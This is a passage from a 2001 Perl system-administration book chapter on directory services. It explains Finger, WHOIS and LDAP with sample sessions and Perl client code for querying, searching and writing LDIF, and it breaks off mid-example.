Finger: A Simple Directory Service
The WHOIS Directory Service
LDAP: A Sophisticated Directory Service
ADSI (Active Directory Service Interfaces)
Module Information for This Chapter
References for More Information

The larger the information system, the harder it becomes to find anything in that system or even know what's available. As networks grow and become more complex, they are well served by some sort of directory. Network users might make use of a directory service to find other users for email and other messaging services. Resources on a network, like printers and network-available disk areas, might be advertised via a directory service. Public-key and certificate infrastructures could use a directory service to distribute information. In this chapter we'll look at how to use Perl to interact with some of the more popular directory services, including Finger, WHOIS, LDAP, and ADSI.

6.1. What's a Directory?

In Chapter 7, "SQL Database Administration", I suggest that all the system administration world is a database. Directories are a good example of this characterization. For the purpose of our discussion we'll distinguish between "database" and "directory" by observing a few salient characteristics of directories:

Networked

Directories are almost always networked. Unlike some databases that live on the same machine as their clients (like the venerable /etc/passwd file), directory services are usually provided over a network.

Simple communication/data manipulation

Databases often have complex query languages for data queries and manipulation. We'll see the most common one, SQL, in the aforementioned Chapter 7, "SQL Database Administration", and in Appendix D, "The Fifteen-Minute SQL Tutorial". Communicating with a directory is a much simpler affair. A directory client typically performs only rudimentary operations and does not use a full-fledged language as part of its communication with the server.

Hierarchical

Modern directory services encourage the building of tree-like information structures, whereas databases on the whole do not.

Read-many, write-few

Modern directory servers are optimized for a very specific data traffic pattern. Under normal use, the number of reads/queries to a directory service far outweighs the number of writes/updates.

If you encounter something that looks like a database but has the above characteristics, you're probably dealing with a directory. In the four directory services we're about to see, these characteristics will be easy to spot.

Previous | Home | Next
5.5. References for More Information | Book Index | 6.2. Finger: A Simple Directory Service
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Finger: A Simple Directory Service (Perl for System Administration)

 Perl for System AdministrationSearch this book

6.2. Finger: A Simple Directory Service

Finger and WHOIS are good examples of simple directory services. Finger exists primarily to provide read-only information about the users of a machine (although we'll see some more creative uses shortly). Later versions of Finger, like the GNU Finger server and its derivatives, expanded upon this basic functionality by allowing you to query one machine and receive information back from all of the machines on your network.

Finger was one of the first widely deployed directory services. Once upon a time, if you wanted to locate a user's email address at another site, or even within your own, the finger command was the best option. finger harry@hogwarts.edu would tell you whether Harry's email address was harry, hpotter, or something more obscure (along with listing all of the other Harrys at that school). Though it is still in use today, Finger's popularity has waned over time as web home pages became prevalent and the practice of freely giving out user information became problematic.

Using the Finger protocol from Perl provides another good example of TMTOWTDI. When I first looked on CPAN for something to perform Finger operations, there were no modules available for this task. If you look now, you'll find Dennis Taylor's Net::Finger module, which he published six months or so after my initial search. We'll see how to use it in a moment, but in the meantime, let's pretend it doesn't exist and take advantage of this opportunity to learn how to use a more generic module to talk a specific protocol when the "perfect" module doesn't exist.

The Finger protocol itself is a very simple TCP/IP-based text protocol. Defined in RFC1288, it calls for a standard TCP connect to port 79. The client passes a simple CRLF-terminated[1] string over the connection. This string either requests specific user information or, if empty, asks for information about all users of that machine. The server responds with the requested data and closes the connection at the end of the data stream. You can see this in action by telnet ing to the Finger port directly on a remote machine:

[1]Carriage return + linefeed, i.e., ASCII 13 + ASCII 10.

$ telnet kantine.diku.dk 79
Trying 192.38.109.142 ...
Connected to kantine.diku.dk.
Escape character is '^]'.
cola<CR><LF>
Login: cola                             Name: RHS Linux User
Directory: /home/cola                   Shell: /bin/noshell
Never logged in.
No mail.
Plan:

Current state of the coke machine at DIKU
This file is updated every 5 seconds
At the moment, it's necessary to use correct change.
This has been the case the last 19 hours and 17 minutes

Column 1 is currently *empty*.
   It's been 14 hours and 59 minutes since it became empty.
   31 items were sold from this column before it became empty.
Column 2 contains some cokes.
   It's been 2 days, 17 hours, and 43 minutes since it was filled.
   Meanwhile, 30 items have been sold from this column.
Column 3 contains some cokes.
   It's been 2 days, 17 hours, and 41 minutes since it was filled.
   Meanwhile, 11 items have been sold from this column.
Column 4 contains some cokes.
   It's been 5 days, 15 hours, and 28 minutes since it was filled.
   Meanwhile, 26 items have been sold from this column.
Column 5 contains some cokes.
   It's been 5 days, 15 hours, and 29 minutes since it was filled.
   Meanwhile, 18 items have been sold from this column.
Column 6 contains some coke-lights.
   It's been 5 days, 15 hours, and 30 minutes since it was filled.
   Meanwhile, 16 items have been sold from this column.

Connection closed by foreign host.
$

In this example we've connected directly to kantine.diku.dk's Finger port. We typed the user name "cola," and the server returned information about that user.

I chose this particular host and user just to show you some of the whimsy that accompanied the early days of the Internet. Finger servers got pressed into service for all sorts of tasks. In this case, anyone anywhere on the planet can see whether the soda machine at the Department of Computer Science at the University of Copenhagen is currently stocked. For more examples of strange devices hooked to Finger servers, you may wish to check out Bennet Yee's "Internet Accessible Coke Machines" and "Internet Accessible Machines" pages; they are available online at http://www.cs.ucsd.edu/~bsy/fun.html.

Let's take the network communication we just performed using a telnet binary back to the world of Perl. With Perl, we can also open up a network socket and communicate over it. Instead of using lower-level socket commands, we'll use Jay Roger's Net::Telnet module to introduce a family of modules that handle generic network discussions. Other modules in this family (some of which we use in other chapters) include Eric Arnold's Comm.pl, Austin Schutz's Expect.pm, and the venerable but outdated and nonportable chat2.pl by Randal L. Schwartz.

Net::Telnet will handle all of the connection setup work for us and provides a clean interface for sending and receiving data over this connection. Though we won't use them in this example, Net::Telnet also provides some handy pattern-scanning mechanisms that allow your program to watch for specific responses from the other server.

Here's a Net::Telnet version of a simple Finger client. This code takes an argument of the form user@finger_server. If the user name is omitted, a list of all users considered active by the server will be returned. If the hostname is omitted, we query the local host:

use Net::Telnet;

($username,$host) = split(/\@/,$ARGV[0]);
$host = $host ? $host : 'localhost';

# create a new connection
$cn = new Net::Telnet(Host => $host,
                      Port => 'finger');

# send the username down this connection
unless ($cn->print("$username")){ # could be "/W $username"
    $cn->close;
    die "Unable to send finger string: ".$cn->errmg."\n";
}

# grab all of the data we receive, stopping when the
# connection is dropped
while (defined $ret = $cn->get) {
    $data .= $ret;
}

# close the connection
$cn->close;

# display the data we collected
print $data;

RFC1288 specifies that a /W switch can be prepended to the username sent to the server to request it to provide "a higher level of verbosity in the user information output," hence the /W comment above.

If you need to connect to another TCP-based text protocol besides Finger, you'd use very similar code. For example, to connect to a Daytime server (which shows the local time on a machine) the code looks very similar:

use Net::Telnet;

$host = $ARGV[0] ? $ARGV[0] : 'localhost';

$cn = new Net::Telnet(Host => $host,
                      Port => 'daytime');

while (defined $ret = $cn->get) {
    $data .= $ret;
}
$cn->close;

print $data;

Now you have a sense of how easy it is to create generic TCP-based network clients. If someone has taken the time to write a module specifically designed to handle a protocol, it can be even easier. In the case of Finger, you can use Taylor's Net::Finger to turn the whole task into a single function call:

use Net::Finger;

# finger(  ) takes a user@host string and returns the data received
print finger($ARGV[0]);

Just to present all of the options, there's also the fallback position of calling another executable (if it exists on the machine) like so:

($username,$host) = split('@',$ARGV[0]);
$host = $host ? $host : 'localhost';

# location of finger executable, MacOS users can't use this method
$fingerex = ($^O eq "MSWin32") ?
                 $ENV{'SYSTEMROOT'}."\\System32\\finger" :
                 "/usr/ucb/finger";  # (could also be /usr/bin/finger)

print `$fingerex ${username}\@${host}`

Now you've seen three different methods for performing Finger requests. The third method is probably the least ideal because it requires spawning another process. Net::Finger will handle simple Finger requests; for everything else, Net::Telnet or any of its kin should work well for you.

Previous | Home | Next
6.1. What's a Directory? | Book Index | 6.3. The WHOIS Directory Service
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The WHOIS Directory Service (Perl for System Administration)

 Perl for System AdministrationSearch this book

6.3. The WHOIS Directory Service

WHOIS is another useful read-only directory service. WHOIS provides a telephone directory-like service for machines, networks, and the people who run them. Some larger organizations like IBM, UC Berkeley, and MIT provide WHOIS service, but the most important WHOIS servers by far are those run by the InterNIC and other Internet registries like RIPE (European IP address allocations) and APNIC (Asia/Pacific address allocations).

If you have to contact a system administrator at another site to report suspicious network activity, you would use WHOIS to get the contact info. There are GUI and command-line based tools for making WHOIS queries available for most operating systems. Under Unix, a typical query looks like this:

% whois -h whois.networksolutions.com brandeis.edu
<large legal paragraph omitted>
Registrant:
Brandeis University (BRANDEIS-DOM)
   Information Technology Services
   Waltham, MA 02454-9110
   US

   Domain Name: BRANDEIS.EDU

   Administrative Contact:
      Koskovich, Bob  (BK138)  user@BRANDEIS.EDU
      +1-781-555-1212 (FAX) +1-781-555-1212
   Technical Contact, Zone Contact:
      Hostmaster, Brandeis C  (RCG51)  hostmaster@BRANDEIS.EDU
      +1-781-555-1212 (FAX) +1-781-555-1212
   Billing Contact:
      Koskovich, Bob  (BK138)  user@BRANDEIS.EDU
      +1-781-555-1212 (FAX) +1-781-555-1212

   Record last updated on 13-Oct-1999.
   Record created on 27-May-1987.
   Database last updated on 19-Dec-1999 17:42:19 EST.

   Domain servers in listed order:

   LILITH.UNET.BRANDEIS.EDU     129.64.99.12
   FRASIER.UNET.BRANDEIS.EDU    129.64.99.11
   DIAMOND.CS.BRANDEIS.EDU      129.64.2.3
   DNSAUTH1.SYS.GTEI.NET        4.2.49.2
   DNSAUTH2.SYS.GTEI.NET        4.2.49.3

If you needed to track down the owner of a particular IP address range, WHOIS is also the right tool:

% whois -h whois.arin.net 129.64.2
Brandeis University (NET-BRANDEIS)
   415 South Street
   Waltham, MA 02254

   Netname: BRANDEIS
   Netnumber: 129.64.0.0

   Coordinator:
      Koskovich, Bob  (BK138-ARIN)  user@BRANDEIS.EDU
      617-555-1212

   Domain System inverse mapping provided by:

   BINAH.CC.BRANDEIS.EDU        129.64.1.3
   NIC.NEAR.NET                 192.52.71.4
   NOC.CERF.NET                 192.153.156.22

   Record last updated on 10-Jul-97.
   Database last updated on 9-Oct-98 16:10:44 EDT.

The ARIN Registration Services Host contains ONLY Internet
Network Information: Networks, ASN's, and related POC's.
Please use the whois server at rs.internic.net for DOMAIN related
Information and nic.mil for NIPRNET Information.

The previous sessions used a Unix command-line WHOIS client. Windows NT and MacOS do not ship with clients like this, but that shouldn't stop users of those systems from accessing this information. There are many fine shareware clients available, but it is easy enough to construct a very simple client in Perl using Net::Whois, originally by Chip Salzenberg and now maintained by Dana Hudes. The following example is only slightly modified from one provided in the documentation that comes with the module:

use Net::Whois;

# query server, returning an object with results
my $w = new Net::Whois::Domain $ARGV[0] or
   die "Can't connect to Whois server\n";
die "No domain information found for $ARGV[0]\n" unless ($w->ok);

# print out parts of that object
print "Domain: ", $w->domain, "\n";
print "Name: ", $w->name, "\n";
print "Tag: ", $w->tag, "\n";
print "Address:\n", map { "    $_\n" } $w->address;
print "Country: ", $w->country, "\n";
print "Record created: ".$w->record_created."\n";
print "Record updated: ".$w->record_updated."\n";

# print out name servers ($w->servers returns a list of lists)
print "Name Servers:\n", map { "    $$_[0] ($$_[1])\n" } @{$w->servers};

# print out contact list ($w->contacts returns a hash of lists)
my($c,$t);
if ($c = $w->contacts) {
    print "Contacts:\n";
    for $t (sort keys %$c) {
        print "    $t:\n";
        print map { "\t$_\n" } @{$$c{$t}};
    }
}

Querying the InterNIC/Network Solutions WHOIS server is a simple process. We use Net::Whois::Domain to return a result object. Data is then accessed by calling the methods of that object named after the fields returned by the WHOIS query.

WHOIS will play a significant role in Chapter 8, "Electronic Mail", but for now let's move on to more complex directory services. We've already begun that transition simply by moving from Finger to WHOIS. There's an important distinction between the Finger and WHOIS examples that you've seen so far: structure.

The output of Finger varies from one server implementation to another. Although some output conventions exist, it is freeform in nature. The InterNIC/Network Solutions WHOIS server returns data with a more consistent structure and organization. We can expect each entry to have at least Name, Address, and Domain fields. The Net::Whois module relies on this structure and parses the response into fields for us. There is another module by Vipul Ved Prakash called Net::XWhois which takes this a step further, providing a framework for parsing information formatted in different ways by different WHOIS servers.

Even though the WHOIS protocol itself does not have a notion of fields, the modules we are calling are starting to rely on the structure of the information. The directory services we are about to look at take this structuring more seriously.

Previous | Home | Next
6.2. Finger: A Simple Directory Service | Book Index | 6.4. LDAP: A Sophisticated Directory Service
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


LDAP: A Sophisticated Directory Service (Perl for System Administration)

 Perl for System AdministrationSearch this book

6.4. LDAP: A Sophisticated Directory Service

LDAP and ADSI are much richer and more sophisticated directory services. LDAP stands for Lightweight Directory Access Protocol. There are two widely deployed versions of the LDAP protocol out there (Version 2 and Version 3--anything that is version specific will be clearly noted as such). This protocol is fast becoming the industry standard for directory access. System administrators have embraced LDAP because it offers them a way to centralize and make available all sorts of infrastructure information. Besides the standard "company directory," examples applications include:

  • NIS-to-LDAP gateways

  • Finger-to-LDAP gateways

  • Authentication databases of all sorts (e.g., for use on the Web)

  • Resource advertisement (i.e., which machines and peripherals are available)

LDAP is also the basis of other sophisticated directory services like Microsoft's Active Directory, which we'll see later, in the section Section 6.5, "ADSI (Active Directory Service Interfaces)".

Even if LDAP is not used in your environment to provide anything but a fancy phone book, there are still good reasons to learn how to use the protocol. LDAP servers themselves can be administered using the same protocol they serve, similar to SQL database servers being administered via SQL. To this end, Perl offers an excellent glue environment for automating LDAP administrative tasks. Before we get there, we need to be sure we understand LDAP itself.

Appendix B, "The Ten-Minute LDAP Tutorial", contains a quick introduction to LDAP for the uninitiated. The biggest barrier new system administrators encounter when they begin to learn about LDAP is the unwieldy nomenclature it inherited from its parent protocol, the X.500 Directory Service. LDAP is a simplified version of X.500, but unfortunately, the distillation process did not make the terminology any easier to swallow. Taking a few moments with Appendix B, "The Ten-Minute LDAP Tutorial" to get these terms under your belt will make understanding how to use LDAP from Perl easier.

6.4.1. LDAP Programming with Perl

Like so many other systems administration tasks in Perl, a good first step towards LDAP programming is the selection of the required Perl module. LDAP is not the most complex protocol out there, but it is not a plain text protocol. As a result, cobbling something together that speaks LDAP is not a trivial exercise. Luckily two sets of authors have already done this work for us: Graham Barr created Net::LDAP and Leif Hedstrom and Clayton Donley created Mozilla::LDAP (a.k.a. PerLDAP). Table 6-1 lists some of the ways that the two modules differ.

Table 6.1. Comparison of the Two Perl LDAP Modules

Feature | Net::LDAP | Mozilla::LDAP (PerLDAP)
Portability | Pure Perl | Requires the Mozilla/Netscape LDAP C-SDK (source is freely available). The SDK compiles on many Unixs, NT, and MacOS
SSL encrypted sessions | Yes | Yes
Asynchronous operations | Yes | Only with the non-object-oriented base-level API

Both of these modules have the functionality to perform the simple system administration-related tasks we'll be discussing, but they take slightly different approaches in how they offer it. This creates a rare educational opportunity because it allows us to observe how two different authors implemented substantial modules to address essentially the same niche. Careful comparison between the two modules can offer insight into the module implementation process, which we'll briefly demonstrate in Chapter 10, "Security and Network Monitoring". To facilitate this comparison, most of the examples in this section show the syntax for both Perl LDAP modules. The use modulename line in each full code example will clue you in on which module we are using at the time.

For demonstration servers, we'll be using the commercial Netscape 4.0 Directory Server and the free OpenLDAP server (found at http://www.netscape.com and http://www.openldap.org) almost interchangeably. Both come with almost identical command-line utilities that you can use to prototype and crosscheck your Perl code.

6.4.2. The Initial LDAP Connection

Connecting with authentication is the usual first step in any LDAP client-server transaction. In LDAP-speak this is known as "binding to the server." Binding to a server before sending commands to it was required in LDAPv2 but this requirement was relaxed for LDAPv3.

When you bind to an LDAP server, you are said to be doing so in the context of a specific Distinguished name (DN), described as the bind DN for that session. This context is similar to logging in as a particular user on a multiuser system. On a multiuser system, your current login (for the most part) determines your level of access to data on that system. With LDAP, it is the bind DN context that determines how much data on the LDAP server you can see and modify. There is a special DN known as the root Distinguished Name (which is not given an acronym to avoid confusing it with Relative Distinguished Name). The root Distinguished Name is the DN context that has total control over the whole tree, just like being logged in as root under Unix or Administrator for NT/2000. Some servers also refer to this as the manager DN.

If a client provides no authentication information (e.g., DN and password) as part of a bind, or does not bother to bind before sending commands, this is known as anonymous authentication. Anonymously authenticated clients typically receive very restricted access to a server's data.

There are two flavors of binding in the LDAPv3 specification: simple and SASL. Simple binding uses plain-text passwords for authentication. SASL (Simple Authentication and Security Layer) is an extensible authentication framework defined in RFC2222 that allows client/server authors to plug in a number of different authentication schemes like Kerberos and One-Time Passwords. When a client connects to a server, it requests a particular authentication mechanism. If the server supports this mechanism, it will begin the challenge-response dialogue specific to that mechanism to authenticate the client. During this dialogue, the client and server may also negotiate a security layer (e.g., "all traffic between us will be encrypted using TLS") for use after the initial authentication has been completed.

Some LDAP servers and clients add one more authentication method to the standard simple and SASL choices. This method comes as a by-product of running LDAP over an encrypted channel via Secure Socket Layer (SSL). To set this channel up, LDAP servers and clients exchange public-key cryptography certificates just like a web server and browser do for HTTPS. The LDAP server can be told to use a trusted client's certificate as authentication information without having to bother with other authentication info. Of the Perl modules available, only PerLDAP offers LDAPS (SSL-encrypted sessions). To keep our examples from getting too complicated, we'll stick to simple authentication and unencrypted transport sessions.

Here's how you do a simple bind and unbind in Perl:

use Mozilla::LDAP::Conn;
# use empty $binddn and $passwd for anonymous bind
$c = new Mozilla::LDAP::Conn($server, $port, $binddn, $passwd);
die "Unable to connect to $server" unless $c;
...
$c->close(  );

or:

use Net::LDAP;
$c = Net::LDAP->new($server, port => $port) or
    die "Unable to connect to $server: $@\n";
# use no parameters to bind(  ) for anonymous bind
$c->bind($binddn, password => $passwd) or
    die "Unable to bind: $@\n";
...
$c->unbind(  );

With Mozilla::LDAP::Conn, the creation of a new connection object also binds to the server. In Net::LDAP this is a two-step process. To initialize a connection without performing a bind in Mozilla::LDAP, you'll need to use a function (ldap_init( )) from the non-object-oriented Mozilla::LDAP::API module.

TIP

Be Prepared to Carefully Quote Attribute Values

A quick tip before we do any more Perl programming: if you have an attribute in your Relative Distinguished Name with a value that contains one of the characters "+", "(space)," ",", "'", ">", "<", or ";", you must specify the value surrounded by quotation marks or with the offending character escaped by a backslash (\). If the value contains quotation marks, those marks must be escaped using backslashes. Backslashes in values are also escaped with more backslashes.

Insufficient quoting will bite you if you are not careful.

6.4.3. Performing LDAP Searches

The D in LDAP stands for Directory, and the one operation you perform most on a directory is a search. Let's start our exploration of LDAP functionality by learning how to find information. An LDAP search is specified in terms of:

Where to begin the search

This is called the base DN or search base. A base DN is simply the DN of an entry in the directory tree where the search should begin.

Where to look

This is known as the search scope. The scope can be: base (search just the base DN), one (search everything one level below the base DN, not including the base DN itself), or sub (search the base DN and all of the parts of the tree below it).

What to look for

This is called the search filter. We'll discuss filters and how they are specified in just a moment.

What to return

To speed up the search operation, you can select which attributes are returned for each entry found by the search filter. It is also possible to request that only attribute names and not their values are returned. This is useful for those times when you want to know which entries have a certain attribute, but you don't care what that attribute contains.

In Perl, a search looks like this (the bind step has been replaced with an ellipsis):

use Mozilla::LDAP::Conn;
...
$entry = $c->search($basedn, $scope, $filter);
die "Bad search: ". $c->getErrorString()."\n" if $c->getErrorCode(  );

or:

use Net::LDAP;
...
$searchobj = $c->search(base => $basedn, scope => $scope,
                        filter => $filter);
die "Bad search, errorcode #".$searchobj->code() if $searchobj->code(  );

Let's talk about the mysterious $filter parameter before we see a fully fleshed-out code example. Simple search filters are of the form:

<attribute name> <comparison operator> <attribute value>

where <comparison operator> is specified in RFC2254 as one of the operators listed in Table 6-2.

Table 6.2. LDAP Comparison Operators

Operator | Means
= | Exact value match. Can also be a partial value match if * is used in the <attribute value> specification (e.g., cn=Tim O*).
=* | Match all entries that have values for <attribute name>, independent of what the values are. By specifying * instead of <attribute value>, we test for presence of that particular attribute in an entry (e.g., cn=* would select entries that have cn attributes).
~= | Approximate value match.
>= | Greater than or equal to value.
<= | Less than or equal to value.

These look Perlish, but don't be deceived. Two misleading constructs to a Perl person are ~= and =*. The first has nothing to do with regular expression matches; it finds matches that approximate the stated value. The definition of "approximate" in this case is server dependent. Most servers use an algorithm originally invented for census-taking called soundex to determine the matching values, to find words that "sound like" the given value (in English) but are spelled differently.[2]

[2]If you want to play with the soundex algorithm, Mark Mielke's Text::Soundex module provides a Perl implementation.

The other construct that may clash with your Perl knowledge is the = operator. In addition to testing for exact value matches (both string and numeric), = can also be used with prefix and suffix asterisks as wildcard characters, similar to shell globbing. For example, cn=a* will yield all of the entries that have a common name that begins with the letter "a". cn=*a* performs just as you would suspect, finding all entries whose common name attribute has a letter "a" in it.

We can take two or more of these <attribute name> <comparison operator> <attribute value> simple search forms and string them together with Boolean operators to make a more complex filter. This takes the form:

(<boolean operator> (<simple1>) (<simple2>) (<simple3>) ... )

People with LISP experience will have no problem with this sort of syntax; everyone else will just have to remember that the operator that combines the simple search forms is written first. To filter entries that match both criteria A and B, you would use (&(A)(B)). For entries that match criteria A or B or C, you would use (|(A)(B)(C)). The exclamation mark negates a specific criterion: A and not B is (&(A)(!B)). Compound filters can be compounded themselves to make arbitrarily complex search filters. Here is an example of a compound search filter that finds all of the Finkelsteins who work in Boston:

(&(sn=Finkelstein)(l=Boston))

To find anyone with the last name Finkelstein or Hinds:

(|(sn=Finkelstein)(sn=Hinds))

To find all of the Finkelsteins who do not work in Boston:

(&(sn=Finkelstein)(!(l=Boston)))

To find all the Finkelsteins or Hinds who do not work in Boston:

(&(|(sn=Finkelstein)(sn=Hinds))(!l=Boston))

Here are two code examples that take an LDAP server name and an LDAP filter and return the results of the query:

use Mozilla::LDAP::Conn;

$server = $ARGV[0];
$port   = getservbyname("ldap","tcp") || "389";
$basedn = "c=US";
$scope  = "sub";

$c = new Mozilla::LDAP::Conn($server, $port, "",""); # anonymous bind
die "Unable to bind to $server\n" unless $c;

$entry = $c->search($basedn, $scope, $ARGV[1]);
die "Error in search: ". $c->getErrorString()."\n" if $c->getErrorCode(  );

# process the return values from search(  )
while ($entry) {
    $entry->printLDIF(  );
    $entry = $c->nextEntry(  );
}
$c->close(  );

use Net::LDAP;
use Net::LDAP::LDIF;

$server = $ARGV[0];
$port   = getservbyname("ldap","tcp") || "389";
$basedn = "c=US";
$scope  = "sub";

$c = new Net::LDAP($server, port=>$port) or
    die "Unable to connect to $server: $@\n";
$c->bind(  ) or die "Unable to bind: $@\n"; # anonymous bind

$searchobj = $c->search(base => $basedn, scope => $scope,
                        filter => $ARGV[1]);
die "Bad search, errorcode #".$searchobj->code() if $searchobj->code(  );

# process the return values from search(  )
if ($searchobj){
    $ldif = new Net::LDAP::LDIF("-");
    $ldif->write($searchobj->entries(  ));
    $ldif->done(  );
}

Here's an excerpt from some sample output:

$ ldapsrch ldap.bigfoot.com '(sn=Pooh)'
...
dn: cn="bear pooh",mail=poohbear219@hotmail.com,c=US,o=hotmail.com
mail: poohbear219@hotmail.com
cn: bear pooh
o: hotmail.com
givenname: bear
surname: pooh
...

Before we develop this example any further, let's explore the code that processes the results returned by search( ). This is one place where the two modules diverge in their programming model. Both of these code samples will output the same information in LDIF (LDAP Data Interchange Format), a format we'll explore later, but they get there in two very different ways.

The Mozilla::LDAP model holds true to the search parsing routines described in the RFC1823 C API specification. If a search succeeds, the first entry found is returned. To view the results, you ask for the subsequent entries one at a time. For each entry retrieved, the printLDIF( ) method is used to dump its contents.

Net::LDAP's programming model more closely resembles the protocol definition of RFC2251. LDAP search results are returned in LDAP Message objects. The code we just saw calls the entries( ) method to return a list of all of the entries in these packets. We use a method from the adjunct module Net::LDAP::LDIF to dump these entries out en masse. The same method, write( ), can also be used in a manner similar to printLDIF( ) in the first example to print entries one at a time, but the call shown above is more efficient.

Let's tweak our previous example a little bit. Earlier in this chapter I mentioned that we could construct speedier searches by limiting the attributes that are returned by a search. With the Mozilla::LDAP module this is as simple as adding extra parameters to our search( ) method call:

use Mozilla::LDAP::Conn;
...
$entry = $c->search($basedn,$scope,$ARGV[1],0,@attr);

The first additional parameter is a Boolean flag that dictates whether attribute values are omitted from search results. The default is false (0), since most of the time we are interested in more than just the names of the attributes.

The subsequent additional parameters are a list of names of attributes to be returned. Perl-savvy readers will note that lists within lists auto-interpolate, so the last line of the above code is equivalent to (and can be written as):

$entry =
  $c->search($basedn,$scope,$ARGV[1],0,$attr[0],$attr[1],$attr[2],...);

If we change our original example code from:

$entry = $c->search($basedn,$scope,$ARGV[1]);

to:

@attr = qw(mail);
$entry = $c->search($basedn,$scope,$ARGV[1],0,@attr);

we get this output instead, which only shows the entry's DN and mail attribute:

...
dn: cn="bear pooh",mail=poohbear219@hotmail.com,c=US,o=hotmail.com
mail: poohbear219@hotmail.com
...

The change made to return specific attributes via Net::LDAP is similarly easy:

use Net::LDAP;
...
# could also add "typesonly => 1" to return just attribute types like
# optional 1st param above
$searchobj = $c->search(base => $basedn, filter => $ARGV[1],
                        attrs => \@attr);

Note that Net::LDAP takes a reference to an array, not values in the array like Mozilla::LDAP.

6.4.4. Entry Representation in Perl

These code samples may provoke some questions about entry representation and manipulation -- that is, how are entries themselves stored and manipulated in a Perl program? Let's answer a few of those questions as a follow-up to our LDAP searching discussion, even though we will discuss them more thoroughly in the upcoming sections on addition and modification of entries.

If you've just done a search using Mozilla::LDAP and have an entry object instance in hand, you can access the individual attributes in that entry using the Perl hash-of-lists syntax. $entry->{attributename} is a list of the values for that attribute name. I emphasize "list" because even single-valued attributes are stored in an anonymous list referenced through this hash key. To get at the value in a single-valued attribute like this, you would use $entry->{attributename}->[0]. Table 6-3 lists some more methods from Mozilla::LDAP::Entry that come in handy when retrieving entry attributes.

Table 6.3. Mozilla::LDAP::Entry Methods

Method Call

Returns

$entry->exists($attrname)

true if that entry has an attribute with this name

$entry->hasValue($attrname,$attrvalue)

true if that entry has a named attribute with this value

$entry->matchValue($attrname,$attrvalue)

Same as above, except performs a regular expression match for attribute value

$entry->size($attrname)

The number of values for that attribute (usually 1 unless the attribute is multivalued)

Some of these methods have additional parameters; see the documentation on Mozilla::LDAP::Entry for more information.

You could probably tell from the sample search code that the method for accessing Net::LDAP entry attributes is a bit different. After conducting a search, all of the results are available encapsulated by a single object. To get at the individual attributes for the entries in this object, you can take one of two approaches.

First, you could ask the module to convert all of the returned entries into one large user-accessible data structure. $searchobj->as_struct( ) returns a hash-of-hash-of-lists data structure. It returns a reference to a hash whose keys are the DNs of the returned entries. The values for these keys are references to anonymous hashes keyed on the attribute names. These keys yield references to anonymous arrays that hold the actual values for those attributes. Figure 6-1 makes this clearer.

Figure 6.1. Data structure returned by as_struct( )

To print the first value for the cn attributes for all of the entries in this data structure, you could use code like this:

$searchstruct = $searchobj->as_struct;
for (keys %$searchstruct){
    print $searchstruct->{$_}{cn}[0],"\n";
}

Alternatively, you can first use any one of these methods to unload an individual entry object from the object returned by a search:

# return a specific entry number
$entry   = $searchobj->entry($entrynum);

# acts like Perl shift(  ) on entry list
$entry   = $searchobj->shift_entry;

# acts like Perl pop(  ) on entry list
$entry   = $searchobj->pop_entry;

# return all of the entries as a list
@entries = $searchobj->entries;

Once you have an entry object, you can use one of the method calls in Table 6-4.

Table 6.4. Net::LDAP Entry Methods

Method Call | Returns
$entry->get($attrname) | The value of that attribute in the given entry
$entry->attributes( ) | The list of attribute names for that entry

It is possible to chain these method calls together in a fairly legible fashion. For instance, this line of code will retrieve the value of the cn attribute in the first returned entry:

$value = $searchobj->entry(1)->get(cn)

Now that you know how to access individual attributes and values returned by a search, let's look at how to get this sort of data into a directory server in the first place.

6.4.5. Adding Entries with LDIF

Before we look at the generic methods for adding entries to an LDAP directory, let's stay true to the title of this book and look at a technique useful mostly to system and directory administrators. This technique uses a data format that helps you to bulk load data into a directory server. We're going to look at ways of writing and reading LDIF.

LDIF, defined in a set of pre-RFC draft standards at the time of this writing, offers a simple text representation of a directory entry. Here's a simple LDIF example taken from the latest draft standard by Gordon Good:

version: 1
   dn: cn=Barbara Jensen, ou=Product Development, dc=airius, dc=com
   objectclass: top
   objectclass: person
   objectclass: organizationalPerson
   cn: Barbara Jensen
   cn: Barbara J Jensen
   cn: Babs Jensen
   sn: Jensen
   uid: bjensen
   telephonenumber: +1 408 555 1212
   description: A big sailing fan.

   dn: cn=Bjorn Jensen, ou=Accounting, dc=airius, dc=com
   objectclass: top
   objectclass: person
   objectclass: organizationalPerson
   cn: Bjorn Jensen
   sn: Jensen
   telephonenumber: +1 408 555 1212

The format should be almost self-explanatory to you by now. After the LDIF version number, each entry's DN, objectClass definitions, and attributes are listed. A line separator alone on a line (i.e., a blank line) separates individual entries.

Our first task is to learn how to write LDIF files from extant directory entries. In addition to giving us practice data for the next section (where we read LDIF files), this functionality is useful because once we have an LDIF file, we can massage it any way we like using Perl's usual text manipulation idioms.

You've already seen how to print out entries in LDIF format during our discussion of LDAP searches. Let's change the code we used in that example so it writes to a file instead:

use Mozilla::LDAP::Conn;
use Mozilla::LDAP::LDIF;

<perform bind & search>

open(LDIF,">$LDIFfile") or die "Unable to write to $LDIFfile:$!\n";
# create new LDIF object and pass in destination filehandle
$ldif = new Mozilla::LDAP::LDIF(\*LDIF);

while ($entry) {
    $ldif->writeOneEntry($entry);
    $entry = $c->nextEntry(  );
}

$c->close(  );
close(LDIF);

Mozilla::LDAP also has a writeEntries( ) method that can take an array of entries instead of just a single entry and write them out in a similar fashion.

For Net::LDAP, changing our original code is even simpler. Instead of:

$ldif = new Net::LDAP::LDIF("-");

we use:

$ldif = new Net::LDAP::LDIF($filename, "w");

to print the output to the specified filename instead of the standard output channel.

Let's work in the opposite direction now, reading LDIF files instead of writing them. The module object methods we're about to explore will allow us to easily add entries to a directory.[3]

[3]LDIF files can also contain a special changetype: directive that instructs the LDIF reader to delete or modify entry information rather than just add it. Of the two modules we've been working with, only Net::LDAP has direct support for changetype: via its Net::LDAP::LDIF::read_cmd( ) method.

When you read LDIF data in via Perl, the process is exactly the reverse of what we used in the previous LDIF-writing examples. Each entry listing in the data gets read in and converted to an entry object instance that is later fed to the appropriate directory modification method. Both modules handle the data reading and parsing for you, so this is a relatively painless process. For instance, with Mozilla::LDAP, we can use code like the following:

use Mozilla::LDAP::Conn;
use Mozilla::LDAP::LDIF;

$server   = $ARGV[0];
$LDIFfile = $ARGV[1];
$port     = getservbyname("ldap","tcp") || "389";
$rootdn   = "cn=Manager, ou=Systems, dc=ccs, dc=hogwarts, dc=edu";
$pw       = "secret";

# read in an LDIF file specified as the second argument
# on the command line
